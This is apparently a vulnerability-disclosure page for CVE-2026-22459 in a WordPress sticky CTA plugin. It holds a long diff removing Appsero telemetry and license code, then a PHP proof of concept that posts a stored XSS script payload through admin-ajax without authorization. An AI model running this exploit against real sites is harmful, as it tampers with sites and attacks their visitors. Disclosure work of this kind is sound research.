-	 */
-	public function tracking_allowed() {
-		$allow_tracking = get_option($this->client->slug . '_allow_tracking', 'no');
-
-		return $allow_tracking == 'yes';
-	}
-
-	/**
-	 * Get the last time a tracking was sent
-	 *
-	 * @return false|string
-	 */
-	private function get_last_send() {
-		return get_option($this->client->slug . '_tracking_last_send', false);
-	}
-
-	/**
-	 * Check if the notice has been dismissed or enabled
-	 *
-	 * @return boolean
-	 */
-	private function notice_dismissed() {
-		$hide_notice = get_option($this->client->slug . '_tracking_notice', null);
-
-		if ('hide' == $hide_notice) {
-			return true;
-		}
-
-		return false;
-	}
-
-	/**
-	 * Check if the current server is localhost
-	 *
-	 * @return boolean
-	 */
-	private function is_local_server() {
-		return false;
-
-		$is_local = in_array($_SERVER['REMOTE_ADDR'], array('127.0.0.1', '::1'));
-
-		return apply_filters('appsero_is_local', $is_local);
-	}
-
-	/**
-	 * Schedule the event weekly
-	 *
-	 * @return void
-	 */
-	private function schedule_event() {
-		$hook_name = $this->client->slug . '_tracker_send_event';
-
-		if (!wp_next_scheduled($hook_name)) {
-			wp_schedule_event(time(), 'weekly', $hook_name);
-		}
-	}
-
-	/**
-	 * Clear any scheduled hook
-	 *
-	 * @return void
-	 */
-	private function clear_schedule_event() {
-		wp_clear_scheduled_hook($this->client->slug . '_tracker_send_event');
-	}
-
-	/**
-	 * Display the admin notice to users that have not opted-in or out
-	 *
-	 * @return void
-	 */
-	public function admin_notice() {
-
-		if ($this->notice_dismissed()) {
-			return;
-		}
-
-		if ($this->tracking_allowed()) {
-			return;
-		}
-
-		if (!current_user_can('manage_options')) {
-			return;
-		}
-
-		// don't show tracking if a local server
-		if ($this->is_local_server()) {
-			$optin_url  = add_query_arg($this->client->slug . '_tracker_optin', 'true');
-			$optout_url = add_query_arg($this->client->slug . '_tracker_optout', 'true');
-
-			if (empty($this->notice)) {
-				$notice = sprintf($this->client->__trans('Want to help make <strong>%1$s</strong> even more awesome? Allow %1$s to collect non-sensitive diagnostic data and usage information.'), $this->client->name);
-			} else {
-				$notice = $this->notice;
-			}
-
-			$policy_url = 'https://' . 'appsero.com/privacy-policy/';
-
-			$notice .= ' (<a class="' . $this->client->slug . '-insights-data-we-collect" href="#">' . $this->client->__trans('what we collect') . '</a>)';
-			$notice .= '<p class="description" style="display:none;">' . implode(', ', $this->data_we_collect()) . '. No sensitive data is tracked. ';
-			$notice .= 'We are using Appsero to collect your data. <a href="' . $policy_url . '">Learn more</a> about how Appsero collects and handle your data.</p>';
-
-			echo '<div class="updated"><p>';
-			echo wp_kses_post($notice);
-			echo '</p><p class="submit">';
-			echo ' <a href="' . esc_url($optin_url) . '" class="button-primary button-large">' . $this->client->__trans('Allow') . '</a>';
-			echo ' <a href="' . esc_url($optout_url) . '" class="button-secondary button-large">' . $this->client->__trans('No thanks') . '</a>';
-			echo '</p></div>';
-
-			esc_html("<script type='text/javascript'>jQuery('." . $this->client->slug . "-insights-data-we-collect').on('click', function(e) {
-                    e.preventDefault();
-                    jQuery(this).parents('.updated').find('p.description').slideToggle('fast');
-                });
-                </script>
-            ");
-		}
-	}
-
-	/**
-	 * handle the optin/optout
-	 *
-	 * @return void
-	 */
-	public function handle_optin_optout() {
-
-		if (isset($_GET[$this->client->slug . '_tracker_optin']) && $_GET[$this->client->slug . '_tracker_optin'] == 'true') {
-			$this->optin();
-
-			wp_redirect(remove_query_arg($this->client->slug . '_tracker_optin'));
-			exit;
-		}
-
-		if (isset($_GET[$this->client->slug . '_tracker_optout']) && $_GET[$this->client->slug . '_tracker_optout'] == 'true') {
-			$this->optout();
-
-			wp_redirect(remove_query_arg($this->client->slug . '_tracker_optout'));
-			exit;
-		}
-	}
-
-	/**
-	 * Tracking optin
-	 *
-	 * @return void
-	 */
-	public function optin() {
-		update_option($this->client->slug . '_allow_tracking', 'yes');
-		update_option($this->client->slug . '_tracking_notice', 'hide');
-
-		$this->clear_schedule_event();
-		$this->schedule_event();
-		$this->send_tracking_data();
-	}
-
-	/**
-	 * Optout from tracking
-	 *
-	 * @return void
-	 */
-	public function optout() {
-		update_option($this->client->slug . '_allow_tracking', 'no');
-		update_option($this->client->slug . '_tracking_notice', 'hide');
-
-		$this->clear_schedule_event();
-	}
-
-	/**
-	 * Get the number of post counts
-	 *
-	 * @param  string  $post_type
-	 *
-	 * @return integer
-	 */
-	public function get_post_count($post_type) {
-		global $wpdb;
-
-		return (int) $wpdb->get_var("SELECT count(ID) FROM $wpdb->posts WHERE post_type = '$post_type' and post_status = 'publish'");
-	}
-
-	/**
-	 * Get server related info.
-	 *
-	 * @return array
-	 */
-	private static function get_server_info() {
-		global $wpdb;
-
-		$server = filter_input_array(INPUT_SERVER, FILTER_SANITIZE_SPECIAL_CHARS);
-
-		$server_data = array();
-
-
-		if (isset($server['SERVER_SOFTWARE']) && !empty($server['SERVER_SOFTWARE'])) {
-			$server_data['software'] = $server['SERVER_SOFTWARE'];
-		}
-
-		if (function_exists('phpversion')) {
-			$server_data['php_version'] = phpversion();
-		}
-
-		$server_data['mysql_version']        = $wpdb->db_version();
-
-		$server_data['php_max_upload_size']  = size_format(wp_max_upload_size());
-		$server_data['php_default_timezone'] = date_default_timezone_get();
-		$server_data['php_soap']             = class_exists('SoapClient') ? 'Yes' : 'No';
-		$server_data['php_fsockopen']        = function_exists('fsockopen') ? 'Yes' : 'No';
-		$server_data['php_curl']             = function_exists('curl_init') ? 'Yes' : 'No';
-
-		return $server_data;
-	}
-
-	/**
-	 * Get WordPress related data.
-	 *
-	 * @return array
-	 */
-	private function get_wp_info() {
-		$wp_data = array();
-
-		$wp_data['memory_limit'] = WP_MEMORY_LIMIT;
-		$wp_data['debug_mode']   = (defined('WP_DEBUG') && WP_DEBUG) ? 'Yes' : 'No';
-		$wp_data['locale']       = get_locale();
-		$wp_data['version']      = get_bloginfo('version');
-		$wp_data['multisite']    = is_multisite() ? 'Yes' : 'No';
-
-		return $wp_data;
-	}
-
-	/**
-	 * Get the list of active and inactive plugins
-	 *
-	 * @return array
-	 */
-	private function get_all_plugins() {
-		// Ensure get_plugins function is loaded
-		if (!function_exists('get_plugins')) {
-			include ABSPATH . '/wp-admin/includes/plugin.php';
-		}
-
-		$plugins             = get_plugins();
-		$active_plugins_keys = get_option('active_plugins', array());
-		$active_plugins      = array();
-
-		foreach ($plugins as $k => $v) {
-			// Take care of formatting the data how we want it.
-			$formatted = array();
-			$formatted['name'] = strip_tags($v['Name']);
-
-			if (isset($v['Version'])) {
-				$formatted['version'] = strip_tags($v['Version']);
-			}
-
-			if (isset($v['Author'])) {
-				$formatted['author'] = strip_tags($v['Author']);
-			}
-
-			if (isset($v['Network'])) {
-				$formatted['network'] = strip_tags($v['Network']);
-			}
-
-			if (isset($v['PluginURI'])) {
-				$formatted['plugin_uri'] = strip_tags($v['PluginURI']);
-			}
-
-			if (in_array($k, $active_plugins_keys)) {
-				// Remove active plugins from list so we can show active and inactive separately
-				unset($plugins[$k]);
-				$active_plugins[$k] = $formatted;
-			} else {
-				$plugins[$k] = $formatted;
-			}
-		}
-
-		return array('active_plugins' => $active_plugins, 'inactive_plugins' => $plugins);
-	}
-
-	/**
-	 * Get user totals based on user role.
-	 *
-	 * @return array
-	 */
-	public function get_user_counts() {
-		$user_count          = array();
-		$user_count_data     = count_users();
-		$user_count['total'] = $user_count_data['total_users'];
-
-		// Get user count based on user role
-		foreach ($user_count_data['avail_roles'] as $role => $count) {
-			$user_count[$role] = $count;
-		}
-
-		return $user_count;
-	}
-
-	/**
-	 * Add weekly cron schedule
-	 *
-	 * @param array  $schedules
-	 *
-	 * @return array
-	 */
-	public function add_weekly_schedule($schedules) {
-
-		$schedules['weekly'] = array(
-			'interval' => DAY_IN_SECONDS * 7,
-			'display'  => 'Once Weekly',
-		);
-
-		return $schedules;
-	}
-
-	/**
-	 * Plugin activation hook
-	 *
-	 * @return void
-	 */
-	public function activate_plugin() {
-		$allowed = get_option($this->client->slug . '_allow_tracking', 'no');
-
-		// if it wasn't allowed before, do nothing
-		if ('yes' !== $allowed) {
-			return;
-		}
-
-		// re-schedule and delete the last sent time so we could force send again
-		$hook_name = $this->client->slug . '_tracker_send_event';
-		if (!wp_next_scheduled($hook_name)) {
-			wp_schedule_event(time(), 'weekly', $hook_name);
-		}
-
-		delete_option($this->client->slug . '_tracking_last_send');
-
-		$this->send_tracking_data(true);
-	}
-
-	/**
-	 * Clear our options upon deactivation
-	 *
-	 * @return void
-	 */
-	public function deactivation_cleanup() {
-		$this->clear_schedule_event();
-
-		if ('theme' == $this->client->type) {
-			delete_option($this->client->slug . '_tracking_last_send');
-			delete_option($this->client->slug . '_allow_tracking');
-		}
-
-		delete_option($this->client->slug . '_tracking_notice');
-	}
-
-	/**
-	 * Hook into action links and modify the deactivate link
-	 *
-	 * @param  array  $links
-	 *
-	 * @return array
-	 */
-	public function plugin_action_links($links) {
-
-		if (array_key_exists('deactivate', $links)) {
-			$links['deactivate'] = str_replace('<a', '<a class="' . $this->client->slug . '-deactivate-link"', $links['deactivate']);
-		}
-
-		return $links;
-	}
-
-	/**
-	 * Plugin uninstall reasons
-	 *
-	 * @return array
-	 */
-	private function get_uninstall_reasons() {
-		$reasons = array(
-			array(
-				'id'          => 'could-not-understand',
-				'text'        => "I couldn't understand how to make it work",
-				'type'        => 'textarea',
-				'placeholder' => 'Would you like us to assist you?'
-			),
-			array(
-				'id'          => 'found-better-plugin',
-				'text'        => 'I found a better plugin',
-				'type'        => 'text',
-				'placeholder' => 'Which plugin?'
-			),
-			array(
-				'id'          => 'not-have-that-feature',
-				'text'        => 'The plugin is great, but I need specific feature that you don't support',
-				'type'        => 'textarea',
-				'placeholder' => 'Could you tell us more about that feature?'
-			),
-			array(
-				'id'          => 'is-not-working',
-				'text'        => 'The plugin is not working',
-				'type'        => 'textarea',
-				'placeholder' => 'Could you tell us a bit more whats not working?'
-			),
-			array(
-				'id'          => 'looking-for-other',
-				'text'        => "It's not what I was looking for",
-				'type'        => '',
-				'placeholder' => ''
-			),
-			array(
-				'id'          => 'did-not-work-as-expected',
-				'text'        => "The plugin didn't work as expected",
-				'type'        => 'textarea',
-				'placeholder' => 'What did you expect?'
-			),
-			array(
-				'id'          => 'other',
-				'text'        => 'Other',
-				'type'        => 'textarea',
-				'placeholder' => 'Could you tell us a bit more?'
-			),
-		);
-
-		return $reasons;
-	}
-
-	/**
-	 * Plugin deactivation uninstall reason submission
-	 *
-	 * @return void
-	 */
-	public function uninstall_reason_submission() {
-		if (!current_user_can('manage_options')) {
-			wp_send_json_error();
-		}
-
-		if (!isset($_POST['reason_id'])) {
-			wp_send_json_error();
-		}
-
-		$current_user = wp_get_current_user();
-
-		$request_data = filter_var_array($_REQUEST, FILTER_SANITIZE_SPECIAL_CHARS);
-
-		$nonce_result = check_ajax_referer('_nonce_unistall_easy_sticky_sidebar', 'nonce', false);
-		if (false == $nonce_result) {
-			wp_send_json_error();
-		}
-
-		$data = array(
-			'hash'        => $this->client->hash,
-			'reason_id'   => sanitize_text_field($_POST['reason_id']),
-			'reason_info' => isset($request_data['reason_info']) ? trim(stripslashes($request_data['reason_info'])) : '',
-			'site'        => $this->get_site_name(),
-			'url'         => esc_url(home_url()),
-			'admin_email' => get_option('admin_email'),
-			'user_email'  => $current_user->user_email,
-			'first_name'  => $current_user->first_name,
-			'last_name'   => $current_user->last_name,
-			'server'      => $this->get_server_info(),
-			'wp'          => $this->get_wp_info(),
-			'ip_address'  => $this->get_user_ip_address(),
-			'theme'       => get_stylesheet(),
-			'version'     => $this->client->project_version,
-		);
-
-		// Add metadata
-		if ($extra = $this->get_extra_data()) {
-			$data['extra'] = $extra;
-		}
-
-		$this->client->send_request($data, 'deactivate');
-
-		wp_send_json_success();
-	}
-
-	/**
-	 * Handle the plugin deactivation feedback
-	 *
-	 * @return void
-	 */
-	public function deactivate_scripts() {
-		global $pagenow;
-
-		if ('plugins.php' != $pagenow) {
-			return;
-		}
-
-		$reasons = $this->get_uninstall_reasons();
-?>
-
-<div class="wd-dr-modal" id="<?php echo esc_attr($this->client->slug); ?>-wd-dr-modal">
-    <div class="wd-dr-modal-wrap">
-        <div class="wd-dr-modal-header">
-            <h3><?php $this->client->_etrans('If you have a moment, please let us know why you are deactivating:'); ?>
-            </h3>
-        </div>
-
-        <div class="wd-dr-modal-body">
-            <ul class="reasons">
-                <?php foreach ($reasons as $reason) { ?>
-                <li data-type="<?php echo esc_attr($reason['type']); ?>"
-                    data-placeholder="<?php echo esc_attr($reason['placeholder']); ?>">
-                    <label><input type="radio" name="selected-reason" value="<?php echo esc_attr($reason['id']); ?>">
-                        <?php echo esc_html($reason['text']); ?></label>
-                </li>
-                <?php } ?>
-            </ul>
-            <p class="wd-dr-modal-reasons-bottom">
-                We share your data with <a href="<?php echo 'https://appsero.com'; ?>">Appsero</a> to troubleshoot
-                problems & make product improvements.
-                <a href="<?php echo 'https://appsero.com/privacy-policy'; ?>">Learn more</a> about how Appsero handles
-                your data.
-            </p>
-        </div>
-
-        <input type="hidden" id="unistall-nonce"
-            value="<?php echo wp_create_nonce('_nonce_unistall_easy_sticky_sidebar') ?>">
-
-        <div class="wd-dr-modal-footer">
-            <a href="#" class="dont-bother-me"><?php $this->client->_etrans("I rather wouldn't say"); ?></a>
-            <button class="button-secondary"><?php $this->client->_etrans('Submit & Deactivate'); ?></button>
-            <button class="button-primary"><?php $this->client->_etrans('Cancel'); ?></button>
-        </div>
-    </div>
-</div>
-
-<style type="text/css">
-.wd-dr-modal {
-    position: fixed;
-    z-index: 99999;
-    top: 0;
-    right: 0;
-    bottom: 0;
-    left: 0;
-    background: rgba(0, 0, 0, 0.5);
-    display: none;
-}
-
-.wd-dr-modal.modal-active {
-    display: block;
-}
-
-.wd-dr-modal-wrap {
-    width: 475px;
-    position: relative;
-    margin: 10% auto;
-    background: #fff;
-}
-
-.wd-dr-modal-header {
-    border-bottom: 1px solid #eee;
-    padding: 8px 20px;
-}
-
-.wd-dr-modal-header h3 {
-    line-height: 150%;
-    margin: 0;
-}
-
-.wd-dr-modal-body {
-    padding: 5px 20px 20px 20px;
-}
-
-.wd-dr-modal-body .reason-input {
-    margin-top: 5px;
-    margin-left: 20px;
-}
-
-.wd-dr-modal-footer {
-    border-top: 1px solid #eee;
-    padding: 12px 20px;
-    text-align: right;
-}
-
-.wd-dr-modal-reasons-bottom {
-    margin: 15px 0 0 0;
-}
-</style>
-
-<script type="text/javascript">
-(function($) {
-    $(function() {
-        var modal = $('#<?php echo $this->client->slug; ?>-wd-dr-modal');
-        var deactivateLink = '';
-
-        $('#the-list').on('click', 'a.<?php echo $this->client->slug; ?>-deactivate-link', function(e) {
-            e.preventDefault();
-
-            modal.addClass('modal-active');
-            deactivateLink = $(this).attr('href');
-            modal.find('a.dont-bother-me').attr('href', deactivateLink).css('float', 'left');
-        });
-
-        modal.on('click', 'button.button-primary', function(e) {
-            e.preventDefault();
-
-            modal.removeClass('modal-active');
-        });
-
-        modal.on('click', 'input[type="radio"]', function() {
-            var parent = $(this).parents('li:first');
-
-            modal.find('.reason-input').remove();
-
-            var inputType = parent.data('type'),
-                inputPlaceholder = parent.data('placeholder'),
-                reasonInputHtml = '<div class="reason-input">' + (('text' === inputType) ?
-                    '<input type="text" size="40" />' : '<textarea rows="5" cols="45"></textarea>'
-                ) + '</div>';
-
-            if (inputType !== '') {
-                parent.append($(reasonInputHtml));
-                parent.find('input, textarea').attr('placeholder', inputPlaceholder).focus();
-            }
-        });
-
-        modal.on('click', 'button.button-secondary', function(e) {
-            e.preventDefault();
-
-            var button = $(this);
-
-            if (button.hasClass('disabled')) {
-                return;
-            }
-
-            var $radio = $('input[type="radio"]:checked', modal);
-
-            var $selected_reason = $radio.parents('li:first'),
-                $input = $selected_reason.find('textarea, input[type="text"]');
-
-            const unistall_nonce = $('#unistall-nonce').val();
-
-            $.ajax({
-                url: ajaxurl,
-                type: 'POST',
-                data: {
-                    action: '<?php echo esc_html($this->client->slug); ?>_submit-uninstall-reason',
-                    reason_id: (0 === $radio.length) ? 'none' : $radio.val(),
-                    reason_info: (0 !== $input.length) ? $input.val().trim() : '',
-                    nonce: unistall_nonce
-                },
-                beforeSend: function() {
-                    button.addClass('disabled');
-                    button.text('Processing...');
-                },
-                complete: function() {
-                    window.location.href = deactivateLink;
-                }
-            });
-        });
-    });
-}(jQuery));
-</script>
-
-<?php
-	}
-
-	/**
-	 * Run after theme deactivated
-	 * @param  string $new_name
-	 * @param  object $new_theme
-	 * @param  object $old_theme
-	 * @return void
-	 */
-	public function theme_deactivated($new_name, $new_theme, $old_theme) {
-		// Make sure this is appsero theme
-		if ($old_theme->get_template() == $this->client->slug) {
-			$current_user = wp_get_current_user();
-
-			$data = array(
-				'hash'        => $this->client->hash,
-				'reason_id'   => 'none',
-				'reason_info' => '',
-				'site'        => $this->get_site_name(),
-				'url'         => esc_url(home_url()),
-				'admin_email' => get_option('admin_email'),
-				'user_email'  => $current_user->user_email,
-				'first_name'  => $current_user->first_name,
-				'last_name'   => $current_user->last_name,
-				'server'      => $this->get_server_info(),
-				'wp'          => $this->get_wp_info(),
-				'ip_address'  => $this->get_user_ip_address(),
-				'theme'       => get_stylesheet(),
-				'version'     => $this->client->project_version,
-			);
-
-			$this->client->send_request($data, 'deactivate');
-		}
-	}
-
-	/**
-	 * Get user IP Address
-	 */
-	private function get_user_ip_address() {
-		$response = wp_remote_get('https://icanhazip.com/');
-
-		if (is_wp_error($response)) {
-			return '';
-		}
-
-		$ip = trim(wp_remote_retrieve_body($response));
-
-		if (!filter_var($ip, FILTER_VALIDATE_IP)) {
-			return '';
-		}
-
-		return $ip;
-	}
-
-	/**
-	 * Get site name
-	 */
-	private function get_site_name() {
-		$site_name = get_bloginfo('name');
-
-		if (empty($site_name)) {
-			$site_name = get_bloginfo('description');
-			$site_name = wp_trim_words($site_name, 3, '');
-		}
-
-		if (empty($site_name)) {
-			$site_name = esc_url(home_url());
-		}
-
-		return $site_name;
-	}
-}
 No newline at end of file
--- a/easy-sticky-sidebar/trunk/appsero/src/License.php
+++ b/easy-sticky-sidebar/trunk/appsero/src/License.php
@@ -1,710 +0,0 @@
-<?php
-namespace Appsero;
-
-/**
- * Appsero License Checker
- *
- * This class will check, active and deactive license
- */
-class License {
-
-    /**
-     * AppSeroClient
-     *
-     * @var object
-     */
-    protected $client;
-
-    /**
-     * Arguments of create menu
-     *
-     * @var array
-     */
-    protected $menu_args;
-
-    /**
-     * `option_name` of `wp_options` table
-     *
-     * @var string
-     */
-    protected $option_key;
-
-    /**
-     * Error message of HTTP request
-     *
-     * @var string
-     */
-    public $error;
-
-    /**
-     * Success message on form submit
-     *
-     * @var string
-     */
-    public $success;
-
-    /**
-     * Corn schedule hook name
-     *
-     * @var string
-     */
-    protected $schedule_hook;
-
-    /**
-     * Set value for valid licnese
-     *
-     * @var boolean
-     */
-    private $is_valid_licnese = null;
-
-    /**
-     * Initialize the class
-     *
-     * @param AppseroClient
-     */
-    public function __construct( Client $client ) {
-        $this->client = $client;
-
-        $this->option_key = 'appsero_' . md5( $this->client->slug ) . '_manage_license';
-
-        $this->schedule_hook = $this->client->slug . '_license_check_event';
-
-        // Run hook to check license status daily
-        add_action( $this->schedule_hook, array( $this, 'check_license_status' ) );
-
-        // Active/Deactive corn schedule
-        $this->run_schedule();
-    }
-
-    /**
-     * Check license
-     *
-     * @return boolean
-     */
-    public function check( $license_key ) {
-        $route    = 'public/license/' . $this->client->hash . '/check';
-
-        return $this->send_request( $license_key, $route );
-    }
-
-    /**
-     * Active a license
-     *
-     * @return boolean
-     */
-    public function activate( $license_key ) {
-        $route    = 'public/license/' . $this->client->hash . '/activate';
-
-        return $this->send_request( $license_key, $route );
-    }
-
-    /**
-     * Deactivate a license
-     *
-     * @return boolean
-     */
-    public function deactivate( $license_key ) {
-        $route    = 'public/license/' . $this->client->hash . '/deactivate';
-
-        return $this->send_request( $license_key, $route );
-    }
-
-    /**
-     * Send common request
-     *
-     * @param $license_key
-     * @param $route
-     *
-     * @return array
-     */
-    protected function send_request( $license_key, $route ) {
-        $params = array(
-            'license_key' => $license_key,
-            'url'         => esc_url( home_url() ),
-            'is_local'    => $this->client->is_local_server(),
-        );
-
-        $response = $this->client->send_request( $params, $route, true );
-
-        if ( is_wp_error( $response ) ) {
-            return array(
-                'success' => false,
-                'error'   => $response->get_error_message()
-            );
-        }
-
-        $response = json_decode( wp_remote_retrieve_body( $response ), true );
-
-        if ( empty( $response ) || isset( $response['exception'] )) {
-            return array(
-                'success' => false,
-                'error'   => 'Unknown error occurred, Please try again.'
-            );
-        }
-
-        if ( isset( $response['errors'] ) && isset( $response['errors']['license_key'] ) ) {
-            $response = array(
-                'success' => false,
-                'error'   => $response['errors']['license_key'][0]
-            );
-        }
-
-        return $response;
-    }
-
-    /**
-     * Add settings page for license
-     *
-     * @param array $args
-     *
-     * @return void
-     */
-    public function add_settings_page( $args = array() ) {
-        $defaults = array(
-            'type'        => 'menu', // Can be: menu, options, submenu
-            'page_title'  => 'Manage License',
-            'menu_title'  => 'Manage License',
-            'capability'  => 'manage_options',
-            'menu_slug'   => $this->client->slug . '-manage-license',
-            'icon_url'    => '',
-            'position'    => null,
-            'parent_slug' => '',
-        );
-
-        $this->menu_args = wp_parse_args( $args, $defaults );
-
-        add_action( 'admin_menu', array( $this, 'admin_menu' ), 99 );
-    }
-
-    /**
-     * Admin Menu hook
-     *
-     * @return void
-     */
-    public function admin_menu() {
-        switch ( $this->menu_args['type'] ) {
-            case 'menu':
-                $this->create_menu_page();
-                break;
-
-            case 'submenu':
-                $this->create_submenu_page();
-                break;
-
-            case 'options':
-                $this->create_options_page();
-                break;
-        }
-    }
-
-    /**
-     * License menu output
-     */
-    public function menu_output() {
-        $post_data = filter_input_array(INPUT_POST, FILTER_SANITIZE_SPECIAL_CHARS);
-
-        if ( isset( $post_data['submit'] ) ) {
-            $this->license_form_submit( $post_data );
-        }
-
-        $license = get_option( $this->option_key, null );
-        $action = ( $license && isset( $license['status'] ) && 'activate' == $license['status'] ) ? 'deactive' : 'active';
-        $this->licenses_style();
-        ?>
-
-        <div class="wrap appsero-license-settings-wrapper">
-            <h1>License Settings</h1>
-
-            <?php
-                $this->show_license_page_notices();
-                do_action( 'before_appsero_license_section' );
-            ?>
-
-            <div class="appsero-license-settings appsero-license-section">
-                <?php $this->show_license_page_card_header(); ?>
-
-                <div class="appsero-license-details">
-                    <p>Activate <strong><?php echo $this->client->name; ?></strong> by your license key to get professional support and automatic update from your WordPress dashboard.</p>
-                    <form method="post" action="<?php $this->formActionUrl(); ?>" novalidate="novalidate" spellcheck="false">
-                        <input type="hidden" name="_action" value="<?php echo $action; ?>">
-                        <input type="hidden" name="_nonce" value="<?php echo wp_create_nonce( $this->client->name ); ?>">
-                        <div class="license-input-fields">
-                            <div class="license-input-key">
-                                <svg enable-background="new 0 0 512 512" version="1.1" viewBox="0 0 512 512" xml:space="preserve" xmlns="http://www.w3.org/2000/svg">
-                                    <path d="m463.75 48.251c-64.336-64.336-169.01-64.335-233.35 1e-3 -43.945 43.945-59.209 108.71-40.181 167.46l-185.82 185.82c-2.813 2.813-4.395 6.621-4.395 10.606v84.858c0 8.291 6.709 15 15 15h84.858c3.984 0 7.793-1.582 10.605-4.395l21.211-21.226c3.237-3.237 4.819-7.778 4.292-12.334l-2.637-22.793 31.582-2.974c7.178-0.674 12.847-6.343 13.521-13.521l2.974-31.582 22.793 2.651c4.233 0.571 8.496-0.85 11.704-3.691 3.193-2.856 5.024-6.929 5.024-11.206v-27.929h27.422c3.984 0 7.793-1.582 10.605-4.395l38.467-37.958c58.74 19.043 122.38 4.929 166.33-39.046 64.336-64.335 64.336-169.01 0-233.35zm-42.435 106.07c-17.549 17.549-46.084 17.549-63.633 0s-17.549-46.084 0-63.633 46.084-17.549 63.633 0 17.548 46.084 0 63.633z"/>
-                                </svg>
-                                <input type="text" value="<?php echo esc_attr($this->get_input_license_value( $action, $license )); ?>"
-                                    placeholder="Enter your license key to activate" name="license_key"
-                                    <?php echo ( 'deactive' == $action ) ? 'readonly="readonly"' : ''; ?>
-                                />
-                            </div>
-                            <button type="submit" name="submit" class="<?php echo 'deactive' == $action ? 'deactive-button' : ''; ?>">
-                                <?php echo $action == 'active' ? 'Activate License' : 'Deactivate License' ; ?>
-                            </button>
-                        </div>
-                    </form>
-
-                    <?php
-                        if ( 'deactive' == $action && isset( $license['remaining'] ) ) {
-                            $this->show_active_license_info( $license );
-                        }
-                    ?>
-                </div>
-            </div> <!-- /.ap

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-22459 - WP CTA – Sticky CTA Builder, Generate Leads, Promote Sales <= 1.7.4 - Missing Authorization

<?php
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';

// Generate a valid nonce by simulating the plugin's nonce generation
// In real exploitation, attackers would need to obtain a valid nonce first
// This PoC assumes the attacker has obtained a valid nonce through other means
$nonce = 'VALID_NONCE_HERE'; // Replace with actual nonce obtained from the site

$post_data = [
    'action' => 'process_pages',
    '_wpnonce' => $nonce,
    'sticky_id' => '1',
    'SSuprydp_content_option_text' => '<script>alert("Atomic Edge Research - XSS via CVE-2026-22459")</script>',
    'SSuprydp_cta_position' => 'right',
    'SSuprydp_content_option' => 'text',
    'SSuprydp_development' => 'live'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Set headers to mimic legitimate AJAX request
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'X-Requested-With: XMLHttpRequest',
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Response Code: $http_coden";
echo "Response: $responsen";

// Check for success indicators
if (strpos($response, '"status":"success"') !== false || $http_code == 200) {
    echo "[+] Vulnerability likely exploitable - CTA content modifiedn";
} else if (strpos($response, 'Security failed') !== false) {
    echo "[-] Nonce validation failed - need valid noncen";
} else if (strpos($response, 'You are not able to update CTA') !== false) {
    echo "[-] Patched version detected - authorization check presentn";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School